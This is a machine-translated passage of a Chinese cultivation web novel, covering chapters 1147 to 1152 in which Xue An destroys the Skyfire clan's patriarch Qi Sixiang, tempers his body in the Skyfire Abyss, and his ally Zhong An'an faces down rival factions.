    Because it is obvious that Qi Sixiang just abandoned his body, just to escape his soul.


    But this also means that all his cultivation will be put into waste, which is not as good as dead for the strong.


    And paying such a big price, what exactly is this Qi Sixiang doing?


    Everyone was surprised.


    Only Xue An��s smile on the corners of his mouth grew stronger, and then whispered: "Finally...is it going to start?"


    The voice just fell.


    The ground under his feet suddenly began to shake violently.


    The entire Tianhuo Shenxuan also groaned overwhelmedly.


    Everyone was shocked, and then they all flew out.


    When coming to the outside world.


    A strange scene appeared in front of everyone.


    I saw the vast expanse of the skyfire desert, wriggling like a giant python that had just awakened, and then a huge gully began to emerge gradually.


    in an instant.


    A huge gully spanning thousands of miles appeared in the middle of the sky fire desert, its depth is unfathomable, like an abyss.


    When someone saw this scene, his face was as gray as death, and he trembled: "Heaven...the abyss of the sky fire! This is the place where the gods of the sky fire, the abyss of sky fire!".


    At the same time, he heard Qi Sixiang''s triumphant laughter coming from the abyss.


    "Xue An, are you convicted?"

 Chapter 1147： Space

    Following this questioning, but seeing the sky above the Abyss of Fire, an ethereal figure gradually emerged, exactly Qi Sixiang with a proud and arrogant expression.


    It''s just that at this moment, he is like a soul but not a soul. Although standing there, it does not seem to exist in this world.


    Even in the spiritual perception of many powerful people, he does not exist at all.


    This vision naturally caused everyone to be shocked.


    Xue An just watched quietly, until after a while, he chuckled softly, "Convicted? What should I know?"


    Qi Sixiang Jiejie laughed strangely: "Xue An, if you slaughter my people and kill my son, you will be punishable! But I am the patriarch of the dignified clan, and I have the capacity to tolerate others. If you submit to me now, then I It''s not that I can''t consider letting you go!"


    "Oh? Be it to you?" Xue An asked with interest.


    "That''s right!"


    At this time, a greedy color flashed in Qi Sixiang''s eyes, "But the premise is that you give me all the secret arts and techniques you have! In this case, I can let you go!"


    This is the true intention of Qi Sixiang.


    In fact, he had long coveted Xue An��s endless Secret Techniques. If he could get it, the Fire God Clan could not only become the No. 1 noble family in the world, but could even enter the High God Realm and become the entire God. Strong family in the world.


    Compared with this, the death of the tribe, and even the death of the two sons, is not even the root hair.


    Xue An was silent when he heard this, and seemed to be seriously thinking about the feasibility of Qi Sixiang''s proposal.


    At this time, all the people of the Taiyin Protoss changed their expressions, especially Zhong An''an, with a look of panic on his face.


    Your lord... shouldn��t you really have to be attributed to this Qi Sixiang!


    Because even Zhong Anan can see that the current Qi Sixiang is obviously not that simple.


    Just because everyone''s spirits couldn''t perceive him, it can be seen that he clearly has sufficient assurance now.


    As a member of the Taiyin tribe, Zhong Anan has naturally heard many legends about the Abyss of Skyfire.


    I heard that this is a place that rarely exists even in the God Realm. There are countless sky fires and various magical functions.


    Thinking of this, Zhong An''an''s heart couldn''t help mentioning his throat, looking at Xue An with a worried expression on his face.


    When Qi Sixiang saw Xue An bow his head and said nothing, he couldn''t help being overjoyed, and then he continued: "Don''t worry, as a strong man, I will definitely not anger you because of the so-called death of the tribe and son, or even sacrifice to you. After the secret technique exercises, the two of us can still join hands. At that time, even though the God Realm is big, we can do it all!"


    I have to say that, as the patriarch of the wealthy clan, Qi Sixiang has a very powerful ability to deceive people.


    At least these remarks made many people feel shaken.


    In their opinion, this opportunity is a rare opportunity, so Xue An will definitely agree.


    Qi Sixiang also watched with a smile, secretly calculating in his heart, after squeezing your use value out, I will let you taste the taste of Heavenly Fire.


    But at this moment, Xue An suddenly sighed, "As the patriarch of a powerful clan, what you have done is not too much! But your biggest problem is..."


    Xue An suddenly raised his eyes, "There is no bottom line!"


    "It may seem to you that it is normal to use any means to become stronger, but once you have this mindset, the power you control will eventually become the sword that will destroy you!"


    "Because once people''s eyes are blinded, they can no longer see more! After all...weakness and ignorance are not obstacles to survival, arrogance is!"


    Xue An''s words made many people in the audience puzzled, because they didn''t understand it.


    Only Zhong Anan was startled slightly, his face showed a thoughtful light.


    However, Qi Sixiang obviously couldn''t hear this. He darkened, and smiled gloomily: "Xue An, I still have no turn to teach me. Don''t think you can do anything about me before. What? Where I am now, but you can''t touch it at all!"


    Speaking of this, Qi Sixiang smiled triumphantly.


    "Oh? Really?" Xue An smiled coldly, and then took a step forward.


    With one step, Xue An''s whole person appeared in front of Qi Sixiang in an instant, and then he slapped it off.


    I saw the palm wind rolling back like a violent wind, and it was powerful enough to make people fearful.


    is such a powerful palm, but it passes directly through Qi Sixiang''s body.


    Just like Qi Sixiang''s body was a mass of air, Xue An''s palm passed through without any hindrance, and it did not affect him at all.


    Qi Sixiang smiled triumphantly: "Xue An, I advise you to save energy! I am in a place that you can''t even imagine! Or that sentence, surrender now, I can spare you not to die!"


    "It''s just hiding in the gaps of space, but saying that you are very good! And... you are really long-winded!"


    Xue An said coldly, sticking out a palm.


    I saw Xue An''s palm piercing through the layers of void and appeared directly in front of Qi Sixiang, and then grabbed his neck and dragged it out of it.


    Qi Sixiang''s complexion changed wildly, and he roared in disbelief, "You..."


    But Xue An no longer wants to talk nonsense with this guy, "I know this is just a clone of you, but today, you must die! I said it!"


    After that, Xue An suddenly shook it.


    ��.


    There was a muffled noise like a rotten watermelon exploded.


    The ethereal body of Qi Sixiang was directly held to pieces.


    Then he heard a miserable howl from the abyss of sky fire, "Xue An, you forced me!"


    "Skyfire is here!"


    Qi Sixiang, hiding in the abyss of the sky fire, was obviously already very angry ~ www.novelhall.com~. After giving an order, he saw a little light in the bottomless abyss of the sky fire.


    This kind of light is like a glowing jellyfish in the dark seabed, slowly floating upward.


    After a while, these light spots occupied the entire skyfire abyss, and when they arrived in front of everyone, everyone was shocked to discover.


    These points of light are indeed flames of different colors.


    These flames float over the sky of the fire abyss, forming a colorful ocean.


    Its scenery is shocking.


    at the same time.


    I saw that the sea of ??flames was surging up with a wave, and then these days the fire formed a huge body with a height of hundreds of meters, which is the same as Qi Sixiang.


    With his appearance, the temperature of the whole world suddenly rises.


    Many people feel that after just one glance, their hair and beard are about to burn, and they all turn around in amazement and dare not look directly.


    Only Xue An stood proudly, looked up at this huge Qi Sixiang, and smiled coldly.


    "This is interesting!"


    After all, Xue An put on his robe, his whole body soared into the sky, and he came to the front of Qi Sixiang in an instant.


    Qi Sixiang is like a flame **** at this moment. Seeing Xue An approaching before and after, the brilliance flashes in his eyes. .


    But seeing two red flames rushing straight forward, wherever he went, even the space seemed to be scorched.


    Xue An just waved his hand, and the two fires that had struck dissipated. Then Xue An smiled coldly, stepped forward, and came directly in front of Qi Sixiang, and then blasted out with a punch.

 Chapter 1148： Haoyi alone

    Qi Sixiang couldn''t help but roared when he saw it, then raised his huge fist and came over.


    Compared with Qi Sixiang''s fist, Xue An''s whole body looks very small.


    Even under the fist wind brought by Qi Sixiang''s fist, Xue An''s whole body was a little shaky.


    But despite this, Xue An did not retreat in the slightest and greeted him.


    Finally, two punches struck each other.


    Unexpectedly, there was no loud noise, not even superfluous movement.


    The two fists fought together so quietly.


    Until a breathing time passed, a terrifying shock wave took shape with the two fists as the center, and then spread directly.


    was accompanied by a loud bang that made everyone pale.


    in an instant.


    But seeing the shock wave swept across the entire world, all the clouds were swept away.


    Who wins and who loses?


    Everyone was surprised, and when the brilliance dissipated, they couldn''t help but watch them all.


    I saw Xue An''s body receding a few feet, but other than that, there was nothing unusual.


    In contrast, Qi Sixiang is much worse.


    saw that half of his arm had been blown to pieces, although the sky fire squirmed over in an instant, returning it to its original state.


    But the pain still made Qi Sixiang angry, and at the same time, the eyes that looked at Xue An were full of deep jealousy.


    He thought that relying on the blessing of the Abyss of Skyfire, he could easily cut this Xue An in front of him.


    I didn''t expect that this punch almost blasted half of his body to pieces.


    What is his origin?


    Why is there such a strong strength?


    This is not only what Qi Sixiang thought, but also a common question in everyone''s mind.


    At this time, Xue An lowered his head and looked down at the entire skyfire abyss, and said lightly: "Are there any new tricks? If not, I should send you on the road!"


    Qi Sixiang was furious when he heard this, and the sky fire that made him soared.


    You must know that he is now the spirit body of fire, and his temper is naturally contaminated with the violent character of these untamed Skyfires, so after listening to Xue An''s words.


    Qi Sixiang roared angrily: "Xue An, you really are not an ordinary person! But today, even if you are a strong person, you have to fall here!"


    Following the voice of Qi Sixiang, seeing more and more sky fires rising in the abyss of sky fire, they began to gather together.


    In an instant, it turned into a huge sky fire with colorful and arrogant arrogance.


    "Xue An, you can die under this trick, and it is your good fortune!" After saying, Qi Sixiang raised his hand and pointed, shouting every word.


    "The sky fire listens to the order and burns the sky!"


    Boom!


    gave an order.


    But seeing this huge sky fire rising into the sky, it instantly covered the whole world.


    Then I saw the flashing gold, these flames swept like a violent giant.


    Everyone was horrified by this kind of power, they stepped back a long way in panic, and then looked up in shock.


    But seeing the flames soaring into the sky, Xue An stood on the sky without retreat.


    In the next instant, his entire body was completely swallowed by this burning sky fire.


    This picture was reflected in everyone''s eyes.


    Zhong An''an cried out sadly, "My lord!"


    Everyone of the Taiyin Protoss is also miserable.


    Because in their eyes, the power of fire this day is too tyrannical.


    Xue An is now swallowed by the flames, and it must have been more ugly.


    How can this not make them feel sad.


    As for Zhong An''an, tears are already streaming down his face at this moment.


    As for other onlookers, there are also people with different thoughts, sympathy and regret, and secret joy.


    Like Xuanhun, at this moment she finally put her heart in her belly and let out a deep breath.


    Anyway, this Xue An is dead!


    Otherwise, my little life will not be saved.


    At the same time, Qi Sixiang looked at the blazing fire, and a touch of color appeared at the corner of his mouth.


    "The surname is Xue, although you are very powerful, you are still too young after all! Now that you are dead, you can''t blame others, who made you too arrogant!"


    As he said, Qi Sixiang lowered his head, his eyes swept across everyone''s faces.


    Everyone was shocked, and then hurriedly lowered their heads.


    Then Qi Sixiang''s gaze stayed on Zhong An''an and the others, and then laughed strangely.


    "Zhong Anan, what do you want to say now?"


    Zhong An''an''s face gradually became cold, and then shook his head, "Qi Sixiang, do it!"


    Qi Sixiang just smiled, "Do it? Zhong An''an, I know you are thinking of dying in battle! But that''s just your wishful thinking! I want to arrest all of you so that you can be tortured. Die!"


    Zhong An''an''s complexion changed drastically, and he suddenly lifted his sword, and wanted to kill himself.


    But at this moment, Qi Sixiang waved his hand, and a ray of fire rushed forward, directly binding Zhong Anan and the hands of all the people behind her firmly!


    "Want to die? I will let you survive and die!" Qi Sixiang said with a sinister face.


    But at this moment, someone suddenly screamed.


    "This...what is this?"


    Everyone looked up after hearing this.


    But seeing a little bit of brilliance floating above the sky, after falling, many people discovered this with horror.


    is snow!


    Snowing?


    Everyone is stupid.


    You must know that this place is a desert of the sun, let alone snow since ancient times, even if it rained.


    But what happened today?


    A big question mark appeared in everyone''s mind.


    Qi Sixiang also looked up suspiciously.


    at this time.


    I saw the sky full of flames that were originally arrogant and suddenly dimmed and then a faint voice came from it.


    "Holding this ancestor of fire for tens of thousands of years, but in the end only used Skyfire so superficially, you guys, really stupid!"


    followed the voice, but saw the sky swaying, and then Xue An walked out of it slowly.


    With the appearance of his figure, the sky full of flames shattered and turned into a little sky fire again.


    And Xue An stood on the sky, snow falling between his eyebrows, and his white clothes were stronger than snow. He was like a fairy who walked alone in bright clothes, and he did not dare to look directly.


    Seeing this wonderful scene, everyone is stupid.


    Then Xue An looked down at Qi Sixiang, whose face was full of shock and unbelief, and smiled faintly, "Am I right?"


    Qi Sixiang shook all over, suddenly understood something, raised his hand and pointed, and shouted, "Heard the sky, burn this person!"


    was unexpected, but his command this time did not stir up any waves, and the sky fire floating in the sky was not moved at all.


    "This...what''s going on?" Qi Sixiang''s eyes widened in an instant, almost torn apart in shock.


    Xue An smiled faintly, "I''m sorry, these days, it''s mine now!"


    As he said, a red and white flame suddenly appeared between Xue An''s eyebrows, and then instantly turned into a crystal clear, extremely delicate little lotus.


    Industry Fire Red Lotus! !


    As soon as this flame came out, but when he saw the sky fire floating above the entire sky, Qi Qi was gloomy, and then, as if seeing the courtiers of the supreme monarch, he bowed towards Xue An.


    This means... Skyfire bows its head, Wanhuo Dynasty Sect!

 Chapter 1149： Into the abyss

    At the same time, Qi Sixiang''s huge body, which was originally as high as one hundred meters, at this moment, began to melt rapidly like ice and snow under the scorching sun.


    A little bit of light escaped from it, that is, the sky fire that constructed his body is quickly escaping.


    Qi Sixiang let out a roar full of unwillingness and horror, "Who are you?"


    This question also represents the doubt in the hearts of many people.


    Because even a fool can tell now, this Xue An is definitely not the ordinary powerhouse mentioned before.


    With his current strength, even the peerless heirs among the high-ranking Protoss cannot have it.


    Xue An smiled coldly, "My name is Xue An, that''s all!"


    At this moment, I saw Qi Sixiang''s body completely disintegrated.


    Countless sky fires escaped.


    In an instant, only the ethereal spirit of Qi Sixiang was left in the field.


    And Xue An casually pointed, and said lightly: "Exit!"


    The sky fire rushed in, and instantly swallowed the spirits of the four elephants.


    Before he died, this Qi Sixiang finally realized that he had been dying blindly from beginning to end.


    It is ridiculous that I still think that I can control or even subdue Xue An. It turns out that it is me who really knows how to live or die.


    Unfortunately, he understood these truths too late.


    Although he was full of regret, he was completely burned into nothingness by the sky fire after letting out a howl full of unwillingness and regret.


    So far.


    The three great tribes of the Quartet Universe who were still arrogant and powerful an hour ago have all fallen.


    There was deathly silence.


    People looked at them dumbfounded, they couldn''t believe their eyes.


    The ancient tycoons who occupies this desert and have been in charge of the Abyss of Skyfire for thousands of years have just been destroyed?


    Some people''s brains are blank in shock, they can only stand there, not knowing how to respond.


    And Xue An stood on the sky, looking down at everyone.


    When the line of sight passed over these people, these people were all afraid to bow their heads and dare not look directly.


    Then Xue An only focused on Zhong An An and others who were also in a state of shock and confusion, and then smiled slightly.


    "Well, the Skyfire God Clan has been destroyed, and your grudges can be considered revenge!"


    With Xue An��s voice, the line of fire that bound Zhong An��an and others disappeared instantly.


    Zhong Anan and others were relieved, and then bowed to Xue An in a respectful salute.


    "Thank you, sir, for waiting for my revenge!"


    Xue An smiled noncommitably, but looked at the profound soul standing at the back of the crowd, his whole body already shaking.


    "This woman, what are you going to do with it?"


    As he said, Xue Anxin pointed his hand, a ray of sky fire instantly bound the profound soul, and then threw it into the field.


    Everyone in the Taiyin Protoss became angry when they saw Xuanhun.


    "This shameless traitor, kill her!"


    "That''s right! The reason why the old people die is mostly because of her! She was cut all over!"


    In these tumultuous noises, Xuanhun was horrified to death. He didn''t know how to struggle, but he got up from the ground, and then ran to Zhong An''an on his knees, begging for mercy with tears.


    "My patriarch, I was obsessed with ghosts before, please let me go. Even if you wipe out my body, you only need to leave a ray of my soul! For the sake of all the people of the Taiyin tribe, you forgive me. This time!"


    This mysterious soul kowtows repeatedly while talking.


    Taiyin people stopped talking, instead they focused their eyes on Zhong An''an.


    After all, she is now the patriarch of the Lunar Protoss, and people want to see how she will respond.


    Zhong Anan''s face was as cold as ice, he lowered his head, looked at the tearful mysterious soul, and suddenly smiled coldly, "Leave you alone?"


    Xuanhun nodded repeatedly, "Yes, I..."


    Before the words came out, Zhong Anan stepped forward abruptly, grabbed her hair bun, and pulled it back, revealing her neck.


    Then, without waiting for Xuanhun''s reaction, Zhong An''an drew his sword horizontally with his other hand, and the blade slashed directly across Xuanhun''s throat.


    ��!


    Blood splashed.


    Moreover, Zhong An''an''s sword cut extremely severely, even half of Xuanhun''s neck was severed, blood mixed with the gas in the trachea flowed freely, making a creaking noise.


    The expressions of all the audience changed.


    Because people never expected that Zhong Anan, who looks charming and charming, would be so cruel when he shot.


    At the same time, Xuanhun trembled all over, and there was a light of pain and resentment in his eyes.


    And Zhong Anan leaned down, ignoring the blood stains splashed on his face, and said in a cold voice: "Forgive you is the master''s business, and my task is to send you to see the master!"


    As he said, Zhong An''an urged his whole body to cultivate, and his spirit directly penetrated into the sea of ??consciousness of the profound soul, directly strangling her spirit completely.


    Xuanhun''s body struggled violently, and then his eyes began to dim at a speed visible to the naked eye.


    In the end, this profound soul who betrayed his own race was completely strangled by Zhong An''an.


    When the dead soul of Xuanhun fell to the ground.


    Zhong Anan knelt on the ground, and said with tears: "Master, the traitor Xuanhun has already fallen down, rest in peace!"


    This move caused everyone in the Taiyin Protoss to burst into tears and knelt to the ground.


    At this time, Xue An raised his eyebrows slightly, and then waved his hand. The long sword in Zhong Anan''s hand flew straight and fell into Xue An''s hands.


    Zhong An''an was taken aback. He didn''t understand what Xue An was doing, but he didn''t dare to ask, so he lowered his head deeply.


    And Xue An looked at this long sword with interest and said lightly: "It''s interesting! If I guessed correctly, you are my master, I shouldn''t be right now. dead!"


    These words seemed like a bolt from the blue sky, shaking Zhong An''an and all the Taiyin tribesmen so much that they couldn''t believe their ears.


    "Big...sir? Are you true?" Zhong An''an asked hopefully.


    Xue An smiled, and with a flick of his hand, the long sword flew back to Zhong An''an, and then Xue An said calmly: "Look at the aura above it should be certain! After this matter is over, I will go to your Taiyin clan Take a look!"


    Zhong An��an''s eyes gradually ignited the brilliance of hope, and then he knocked his head repeatedly, shouting in a trembling voice: "Thank you, sir!"


    It''s not only her, all the Taiyin people kowtow together, "Thank you, sir!"


    Now the Xuanhun has also fallen, and the rest are these people in the field.


    But Xue An can''t commit to killing all for this, not to mention that the three major gods have been wiped out now. Forgive these people and dare not make a mistake.


    So Xue An just glanced at these people coldly.


    Under a glance, these people all bowed their heads in infinite fear, not daring to make any trouble.


    Then Xue Ancai said lightly: "You wait here first, I''ll go to the Abyss of Fire!"


    After that, Xue An stepped out, and his whole figure instantly turned into a streamer, and fell straight into the sea of ??fire formed by the immeasurable sky fire.


    Boom! !


    After ���� there was a bang, a huge wave was set off on the sea of ??fire, but before the waves fell, the immeasurable sky fire gradually extinguished and dissipated invisible.


    And Xue An''s figure disappeared.

 Chapter 1150： Skyfire Refining Body No. 1 True Immortal

    Skyfire Abyss became calm.


    Everyone looked at each other, seeing the terror in each other''s eyes, but no one dared to leave.


    Because Xue An said before leaving, you are waiting here, although from the literal meaning, it should be instructing Zhong Anan and others.


    But what if?


    If I leave now.


    Waiting for the killing **** grandfather to walk out of the abyss, maybe originally meant to let himself go, but when everyone didn��t leave, they left by themselves. In that case, the killing **** grandfather would be annoyed, and his life would be bad. It can''t be kept.


    After all, compared to Tianhuo or Ancient Sword God Race, I was far behind.


    They are not even the opponents of this murderous grandpa, let alone themselves?


    With this thought, no one dared to leave.


    Zhong Anan and others will naturally not leave.


    I saw Zhong An''an solemnly said: "The clansmen listen to the order, from now on guarding this place, no other people are allowed to wait until the adults return!"


    "Yes!"


    All the Taiyin people responded in unison, and then they established a line of defense before the Skyfire Abyss, and no one was allowed to enter.


    at the same time.


    Xue An has already passed through the immeasurable sky fire, directly crossed the entire sky fire abyss, and appeared in an unknown place.


    When Xue An''s figure emerged, a violent flame that could extinguish everything came to his face.


    And this whole world is completely shrouded in eternal flames.


    But I see the fire everywhere, the sky is flowing fire.


    Every moment, countless flames collide with each other and melt, and then form a new flame.


    The sparks that dissipated were the little skyfire that appeared in the skyfire abyss before.


    This... is the true face of Skyfire Abyss.


    But Xue An prefers to call its real name, the ancestor of fire!


    There are many miracles in the heavens and worlds.


    And the Fire Ancestor Land, where all kinds of mysterious flames originated, is one of them.


    The so-called sun is the flame. This ancestor of fire is extremely sun, and it can breed countless powerful divine flames.


    This is an invaluable treasure for those monks who practice the fire system.


    Therefore, this ancestor of fire has also become a battleground for many fire teachers.


    I didn''t expect that there would be one in this God Realm.


    But as Xue An said, the Fire God Clan is really stupid this day. They have been in charge of Fire''s Ancestor Land for thousands of years, but the strongest attack method is only to command Sky Fire.


    This is equivalent to you getting an indestructible sword, but only using it to smash walnuts.


    What''s more, the miraculousness of this fire ancestor land is far more than this.


    But the most important of these, and also helpful to Xue An now, is that the ancestor of fire can refine the body by sky fire.


    The so-called Skyfire Body Refining means to temper your body to the maximum and make your body indestructible.


    Of course, the risk of doing so is also great.


    Even those Void Masters who have the ancestral land of fire have to make careful preparations for such a thing.


    Because the fire refining process is extremely dangerous on this day, a little carelessness is the end of the soul.


    But this is not impressive for Xue An.


    Therefore, after looking around the world around him, he smiled slightly, and then took a step forward, the flames rolled up, and in a flash, Xue An''s body was completely swallowed.


    In this world, time has no meaning.


    Because for these eternal flames, only endless burning is eternal.


    And the appearance of Xue An broke the delicate balance here.


    And the intrusion of this kind of outsiders completely "angered" these flames.


    But seeing the fireworks skyrocketing, the extremely high temperature and even the almost pure white flame surrounded Xue An''s body, trying to refine it into nothingness.


    Faced with such a cruel environment, Xue An showed no fear at all. Instead, he slowly closed his eyes, then sat cross-legged, floating in the air, letting the flames pass by.


    Flames blazed on Xue An''s body, and began to refine Xue An''s body from the most essential level.


    Although the speed of this refining is slow, it is extremely firm and pure.


    You must know that even though Xue An is precious as an immortal venerable, various minor scars will inevitably appear when practicing.


    This kind of scars are all on the most basic cellular level, and you don''t even notice it.


    But it has a great influence on people''s cultivation.


    And the refinement of these flames nowadays is to eliminate these tiny scars that were produced during the practice.


    This is of great benefit to one''s cultivation.


    I don��t know how long it took.


    seems to be a day, and it seems to be a year.


    When the last ray of fire dissipated from the top of Xue An''s head.


    Xue An opened his eyes suddenly.


    But seeing two divine lights directly pierced the raging sea of ??fire, across the entire world, two huge passages appeared.


    Then Xue An slowly got up, the brilliance in his eyes gradually converged, and finally became clear.


    But the more so, the more powerful Xue An is.


    and even the sky full of fireworks became dimmed under Xue An''s strong aura.


    Xue An raised his hand and tentatively squeezed his fist. Although it was only a light squeeze, the space in his palm made a loud noise and wrinkles appeared. Xue An almost broke it apart with a palm.


    Xue An can''t help but nodded in satisfaction, "Yes! Although the realm has not been improved, the physical skills are several times stronger than before!"


    Xue An even felt that he could not rely on any cultivation base, and could fight any powerhouse of the same level with the strength of his body alone.


    Even the big Luo strong, he can calmly talk about his shortcomings!


    If anyone else knows that Xue An is only a true celestial cultivation base right now, they might be able to stare out because from ancient times to the present, even when Xue An was practicing in his previous life, there has never been such a strong one. Repair for.


    It can be said that Xue An is now the number one true fairy in the heavens.


    Then Xue An looked around at the flames around him and smiled faintly, "It''s a waste for you to stay here! All follow me!"


    As he said, Xue An''s eyes lit up slightly, and Red Lotus Karma suddenly appeared in front of him.


    This red lotus came out.


    The entire land of the ancestor of fire shook wildly.


    All the flames bowed their heads, afraid to look up.


    Because this red and white red lotus fire can crush all flames.


    At the same time, the red lotus karmic fire suddenly lifted into the sky, and then rapidly increased in a hover.


    instantly covered the entire land of the ancestor of fire.


    Then all the flames in the ancestral land of the fire surged up and gathered in the red lotus karma fire.


    The speed is so fast, but in the light of the tea, the flames in the entire fire ancestor land are empty.


    Then this red lotus, the petals of the lotus trembled lightly, as if they were slightly opened.


    Other than that, the color is slightly more refined.


    The flames of the entire fire ancestor land were all added, and it did not change the red lotus karma fire much.


    Xue An had anticipated this.


    Although these flames are strange, they are still far behind this red lotus.


    Therefore, Xue An just smiled indifferently and called. .


    Guren quickly shrank, and then returned to the brow.


    Then Xue An jumped and walked directly through the void here and returned to the world.

 Chapter 1151： After 10 days, no news

    Skyfire Abyss.


    This is already the tenth day since Xue An entered.


    In these ten days, Zhong An''an and all members of the Taiyin Protoss have not stepped away from the line of defense before the abyss.


    But as time goes by, the atmosphere becomes more and more solemn.


    The crowd gathered in front of the Skyfire Abyss has not decreased, but has increased.


    After all, after these ten days, these things that happened in Skyfire City have already caused a sensation in the entire Quartet.


    Xue An used his own power to slaughter the three great tribes of Heavenly Fire, Ancient Sword, and Five Links. This strength is enough to shock all those who hear it.


    Therefore, after hearing this news, many strong people who had not come before also rushed over.


    After all, Xue An now seems to be the actual first person in Amaterasu God Realm and Sifang Huanyu.


    If it''s his slackness, it''s very likely that it will be destroyed.


    With this idea, every day there will be strong people from all quarters.


    But ten days have passed now.


    In the abyss of skyfire, it was calm as usual.


    This can''t help but make the crowd gradually start to commotion.


    "Hey, shouldn''t you say that something happened to Xue An in the abyss of fire this day?" Someone lowered his voice and said.


    "Who knows, but I think it''s a bit overhanging. After all, the Skyfire God Race has been operating the Skyfire Abyss for thousands of years. God knows if there will be any decorations inside! This Xue An is certainly strong, but who dares not say that he will not be ambush? ?" Someone analyzed in a low voice.


    Many people nodded after hearing this person''s words.


    "That''s right! Although the Fire God Clan was wiped out by Xue An alone this day, he is still alone, and no one knows what is going on inside. Maybe it was an ambush that caused it to be impossible to return!"


    "Tsk tsk, the young man is really too energetic! If he hadn''t gone to the abyss of fire, he might have already ascended to the supreme position of this heaven and earth now! The result is that he will go his own way to find his own death, which is really funny!" Said.


    "I hope he is really dead, in that case, it will be a lot of benefits for us!" Someone suddenly whispered.


    Everyone was silent when they heard the words, but a greedy light flashed in their eyes.


    Yes!


    As it is today, the fire, the ancient sword, and the five major gods have all fallen, and the Amaterasu God Court has also been destroyed.


    It can be said that Amaterasu God Realm, Sifang Huanyu has appeared a rare power vacuum in thousands of years.


    If this Xue An is really dead, then these surviving powerful clan forces can take advantage of the void and take advantage of the opportunity to reap the territory.


    So almost all these people are expecting Xue An not to come back.


    seems to feel the prayers of these people.


    Another day has passed.


    The calm in the abyss of skyfire is as before, without the slightest strangeness.


    Now, the commotion among the crowd has become more intense.


    Even many people looked at Zhong An''an and their eyes became a little strange.


    Zhong Anan knows this naturally.


    But this time, she didn''t feel the slightest panic.


    Because of all sorts of incidents, she now has a near-blind trust in Xue An.


    She even felt that there were no people and things that could stump Xue An.


    is a sky-fire abyss, even more so.


    Therefore, she has been waiting here very confidently.


    But the Taiyin tribesmen under her seemed a little anxious.


    "My patriarch, Mr. Xue has been there for so long and hasn''t come back. He won''t..." an elder asked softly.


    Zhong An''an''s face sank, "Don''t say anything, Mr. Xue''s cultivation base is shocking, and nothing will happen! And he said clearly when he left, let me wait for my birth to be here, then we don''t think about anything, just Just wait for the adults here honestly!"


    "But..." The elder looked at the crowd in the distance with some hesitation.


    Zhong Anan naturally felt the bad eyes projected from the crowd from time to time, and a cold smile appeared at the corner of his mouth.


    "Don''t worry about them! To the adults, these people are nothing more than ants! When he returns, none of the ill-intentioned walls and grass will run away!"


    "Yes!" The elder was startled and nodded hurriedly, not daring to say any more.


    Because she discovered that Zhong An''an today is very different from before.


    At least the power radiated from her body is not to be underestimated.


    After most of the daylight scene, the night is gradually rising, and the stars are like diamonds.


    The commotion among the crowd became more intense, and finally, a group of people walked out of it and walked straight to Zhong An''an.


    "Clan Chief Zhong, don''t come here unscathed!" The leading man clasped his fists and smiled hypocritically.


    Zhong An''an raised his head to look at the man, and after a while, he lowered his eyes and said lightly: "It turns out to be Dongxiong, the second boss of Feilongwu, Donger!"


    That''s right!


    The person who came was the fact that Dong Yingjie belonged to Feilongwu, who was smashed by Xue An in the Cursed City.


    And this man is also the number two figure in Feilongwu, and Dong Yingjie''s brother, Dongxiong.


    The Dongxiong smiled upon hearing the words, "It seems that Clan Chief Zhong doesn''t know yet! Now I am the master of Feilongwu!"


    "Oh? Congratulations!" Zhong An''an said lightly Then, what is the matter with the Lord Dongwu? "


    Dongxiong saw Zhong Anan''s attitude, his eyes were slightly cold, but the smile on his face remained unchanged, he still nodded and said with a bow.


    "Patriarch Zhong, you see that I have been waiting here for more than ten days, but the adult has not returned! Can you find a way to contact the adult? After all, wait for this... when is the head? what!"


    This is very polite.


    can be understood by a discerning person, which is obviously an excuse.


    This Dong Xiong Ming wanted to run the Taiyin Protoss through this incident.


    If Zhong Anan said that Xue An could not be contacted, the situation would definitely get worse.


    And if Zhong Anan said that he could contact Xue An, Dong Xiong would definitely hit a snake and go with a stick, asking Zhong Anan to provide a specific date when Xue An returned.


    All possible retreats for Zhong An''an were blocked in one sentence.


    At least a lot of people not far behind had a playful smile in their eyes after hearing the words, and wanted to see how Zhong Anan dealt with this incident.


    Zhong Anan was silent for a while.


    Dongxiong''s heart was full of glamour and joy.


    As the current master of Feilongwu, he naturally hates Xue An who killed his brother directly.


    But if Xue An was here now and scared him to death, he would not dare to say one more word. .


    It''s just that now that he sees Xue An not going back, he believes that Xue An is probably too bad.


    Then I can��t wait to jump out, wanting to make a splash in this way.

 Chapter 1152： This plan is very important

    After all, it��s too easy for me to be in position. If I can��t take revenge on the dock master, that is, my brother, I��m not in a stable position.


    But just when he was ready to wait for Zhong An''an''s response with a proud face.


    Zhong Anan suddenly laughed, and the laughter was full of sarcasm.


    Dongxiong is unknown, so he is about to speak.


    Seeing Zhong Anan raising his finger to him, he said coldly: "What are you, dare to question me?"


    Zhong An''an''s domineering attitude made the crowd preparing to watch the excitement unexpected.


    Especially Dong Xiong was taken aback for a moment, and then he said in a deep voice, "Patriarch Zhong, what do you mean by that?"


    Zhong Anan said mockingly: "What do you mean? Haha, don''t think I don''t know what you think? Do you think that after the adults have gone for so long, did something happen? That''s why you are so rampant? Otherwise? , If adults are here, you dare not say a word if you are scared to death!"


    This is terrible, and many people''s complexions become difficult to look.


    Zhong An''an''s face was as cold as ice, he looked around the audience, and said lightly: "I tell you! When the adults return is his business! You are not qualified to speculate, I can only say that the adults will return safely!"


    The Dongxiong''s face was blue and white, and sweat appeared on his forehead. For a while, he didn''t know what to say.


    At this moment, another sturdy man walked out of the crowd and smiled gloomily: "What Patriarch Zhong said is somewhat unreasonable. Lord Dongwu just cares about when the adults will return. After all, we It��s not a problem to keep waiting so hard! Is everyone right?"


    The words of this big man drew some responses.


    Zhong Anan looked at him with a deep face, and then said coldly: "Who are you again?"


    The sturdy man smiled, "Patriarch Zhong, you may not know me! But you must know my brother. I am the current master of the Temple of Li, and Li Gang is my brother!"


    Zhong Anan was stunned when he heard the words, no wonder she looked so familiar with the aura of this sturdy man.


    turned out to be from the Temple of Power!


    The previous Li Gang also died in the hands of Xue An, and not only he, even the Lord of the Temple of Li at the time and the elders could not escape.


    It can be said that when it comes to hatred, the Temple of Power hates Xue An far more than Feilongwu.


    So this time, they expected more than anyone else that Xue An could die in the abyss of sky fire.


    Zhong Anan is naturally aware of this, so there was a sneer at the corner of his mouth, and then said indifferently: "It''s not your turn to care for you! Take care of your own business and wait for your return!"


    After all, Zhong Anan looked down slowly, and didn''t even bother to look at these two people.


    "You..." Dong Xiong''s expression changed violently, and he was about to speak, but was caught by this force, and then dragged him far away.


